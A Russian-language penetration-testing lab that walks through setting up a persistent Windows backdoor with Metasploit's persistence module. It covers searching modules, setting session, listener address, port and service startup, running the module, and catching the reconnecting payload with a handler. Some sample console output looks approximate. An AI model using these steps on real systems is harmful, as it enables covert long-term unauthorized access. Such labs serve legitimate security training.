Введение
В этой лабораторной работе вы изучите фундаментальный процесс установления персистентности (persistence) на целевой системе с использованием Metasploit Framework. Персистентность является критически важным этапом в тестировании на проникновение, позволяя злоумышленнику сохранять доступ к скомпрометированной системе даже после ее перезагрузки или потери первоначального соединения. Мы рассмотрим, как использовать конкретный модуль Metasploit для создания бэкдора (backdoor), который автоматически переподключается к вашей машине. Эта лабораторная работа фокусируется на командах и концепциях в контролируемой, симулированной среде.
Получение привилегированной сессии Meterpreter на цели
На этом этапе мы запустим Metasploit Framework и поймем контекст нашей задачи. В реальном тестировании на проникновение установление персистентности является пост-эксплуатационной активностью. Это означает, что вы уже получили первоначальный доступ к целевой системе, как правило, в виде сессии Meterpreter.
Для этой лабораторной работы мы сосредоточимся на командах и процедурах настройки персистентности. Мы будем исходить из того, что вы уже успешно скомпрометировали цель и у вас запущена сессия Meterpreter в фоновом режиме.
Сначала запустим консоль Metasploit из терминала. Флаг -q обеспечивает тихий запуск, подавляя стартовый баннер.
msfconsole -q
Ваш командный процессор должен теперь измениться на msf6 >, что указывает на то, что вы находитесь внутри Metasploit Framework.
В реальном сценарии с активной сессией вы могли бы вывести ее с помощью команды sessions. Для взаимодействия с ней вы бы использовали sessions -i <session_id>. Чтобы вернуться к приглашению msf6 > для использования модулей пост-эксплуатации, вы бы использовали команду background из сессии Meterpreter. Мы будем действовать так, как будто мы уже перевели нашу сессию в фоновый режим.
Поиск модулей пост-эксплуатации для персистентности
На этом этапе мы выполним поиск модулей в Metasploit, которые помогут нам установить персистентность. Metasploit имеет мощную функцию поиска, позволяющую находить модули по ключевым словам, типу, платформе и другим параметрам.
Мы ищем модуль, связанный с "persistence" (персистентность). Давайте используем команду search в консоли Metasploit для поиска соответствующих модулей.
search persistence
Эта команда вернет список эксплойтов, вспомогательных (auxiliary) и пост-эксплуатационных модулей, соответствующих ключевому слову. Вывод показывает имя модуля, дату раскрытия, ранг и краткое описание.
Ваш вывод будет выглядеть примерно так (некоторые детали могут отличаться):
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/dlink_dir_600_http_login 2013-02-01 normal No D-Link DIR-600 'dlink_user' Persistence
1 exploit/linux/local/cron_persistence 2020-01-28 excellent Yes Cron Persistence
2 exploit/osx/local/persistence 2015-05-11 excellent Yes OS X Persistent Launchd Job
3 exploit/windows/local/persistence 2012-08-20 excellent No Windows Persistent Service Installer
4 exploit/windows/local/persistence_service 2014-09-11 excellent Yes Persistent Service Installer
5 post/android/manage/remove_persistence 2018-09-20 normal No Remove persistence from device
6 post/android/manage/set_persistence 2018-09-20 normal No Set persistence on device
7 post/multi/manage/shell_to_meterpreter normal No Shell to Meterpreter Upgrade
8 post/osx/manage/persistence 2018-09-20 normal No Install persistence on OSX
9 post/windows/manage/persistence_exe 2013-03-06 normal No Windows Manage Persistent EXE Payload
10 post/windows/manage/ssh_inject 2012-11-20 normal No Windows Manage SSH User Key Injection
Как вы можете видеть, существует несколько вариантов. Для этой лабораторной работы мы сосредоточимся на exploit/windows/local/persistence — надежном и часто используемом модуле для создания постоянной службы в системах Windows.
Использование модуля exploit/windows/local/persistence
На этом этапе вы выберете модуль персистентности, который мы определили ранее. Команда use в Metasploit загружает конкретный модуль в текущий контекст, позволяя вам настроить и запустить его.
Чтобы выбрать модуль, вы можете либо ввести его полный путь, либо использовать его номер из результатов поиска (например, use 3). Использование полного пути, как правило, более надежно, поскольку номера могут меняться.
Давайте загрузим модуль exploit/windows/local/persistence.
use exploit/windows/local/persistence
После выполнения этой команды ваш командный процессор изменится, отражая текущий загруженный модуль: msf6 exploit(windows/local/persistence) >.
Теперь, когда модуль загружен, мы можем просмотреть его параметры, чтобы увидеть, что необходимо настроить. Используйте команду show options.
show options
Это отобразит таблицу всех параметров, которые вы можете установить для этого модуля, их текущие значения и требуется ли их установка.
Module options (exploit/windows/local/persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 10 yes Delay in seconds for persistent payload to connect back
LHOST no The local listener IP address
LPORT 4444 no The local listener port
REX_PORT 0 no The port to connect to on the remote host
SESSION yes The session to run this module on
STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)
...
Обратите внимание, что SESSION является обязательным параметром. Здесь вы укажете идентификатор вашей скомпрометированной сессии Meterpreter.
Настройка параметров для автоматического запуска и полезной нагрузки
На этом этапе мы настроим необходимые параметры для нашего модуля персистентности. На основе вывода команды show options нам нужно установить несколько параметров, чтобы определить, как будет работать механизм персистентности. Команда set используется для присвоения значений этим параметрам.
Сначала укажем сессию. В реальном сценарии вы бы использовали идентификатор вашей активной сессии (например, set SESSION 1). Для этой лабораторной работы мы установим его на 1 в качестве заполнителя.
set SESSION 1
Далее нам нужно настроить полезную нагрузку (payload), которую будет выполнять механизм персистентности. Эта полезная нагрузка будет обращаться к нашей машине. Мы должны установить LHOST (наш IP-адрес) и LPORT (порт, на котором мы будем слушать). Давайте установим LHOST на локальный адрес обратной петли 127.0.0.1 и LPORT на 4445 (чтобы избежать конфликтов с другими потенциальными обработчиками).
set LHOST 127.0.0.1
set LPORT 4445
Параметр STARTUP определяет, как полезная нагрузка запускается на целевой машине. Варианты: USER (запускается при входе пользователя в систему), SYSTEM (запускается при загрузке системы) или SERVICE (запускается как системная служба). Давайте выберем SERVICE для более высоких привилегий и скрытности.
set STARTUP SERVICE
Вы можете снова выполнить команду show options, чтобы убедиться, что все ваши настройки были применены правильно. Все значения, которые вы только что установили, теперь должны быть отражены в столбце "Current Setting".
Выполнение модуля и проверка механизма персистентности
На этом заключительном этапе мы выполним модуль. При настроенных параметрах запуск модуля попытается установить скрипт персистентности на целевой системе через указанную сессию. Для выполнения модуля просто используйте команду run или exploit.
run
Ожидаемый результат: В нашей симулированной среде эта команда завершится ошибкой, поскольку нет активной сессии с идентификатором 1. Вы увидите сообщение об ошибке, похожее на это:
[-] Exploit failed: Rex::Post::Meterpreter::RequestError The session is not valid.
Это ожидаемое поведение для данной лабораторной работы, поскольку мы не работаем с реальным, скомпрометированным хостом.
В реальном сценарии с действительной сессией вывод будет совершенно иным. Он покажет, как модуль загружает скрипт, изменяет реестр и подтверждает успешную установку механизма персистентности. Успешное выполнение может выглядеть следующим образом:
[*] Running module against TARGET-PC
[*] Installing persistence script...
[+] Persistence script uploaded to C:\Users\Admin\AppData\Local\Temp\abcde.vbs
[*] Creating startup registry key...
[+] Persistence registry key created at HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fGhiJkL
[*] Starting the payload handler...
[+] Persistence established. The service will start on next boot.
Для завершения процесса в реальном тесте вам нужно будет настроить новый обработчик (use exploit/multi/handler), сконфигурированный с теми же LHOST и LPORT (127.0.0.1 и 4445). После перезагрузки целевой машины постоянная полезная нагрузка выполнится и подключится к вашему обработчику, предоставив вам новую сессию Meterpreter.
Резюме
В этой лабораторной работе вы изучили основной процесс установления персистентности на целевой системе с использованием Metasploit Framework. Вы практиковались в поиске релевантных модулей, выборе и настройке модуля exploit/windows/local/persistence, а также в понимании его функционирования.
Хотя мы симулировали среду без реальной цели, вы узнали точные команды и рабочий процесс, необходимые для создания постоянного бэкдора в реальном тесте на проникновение. Этот навык имеет решающее значение для поддержания долгосрочного доступа во время оценки безопасности.
Поздравляем с завершением лабораторной работы!


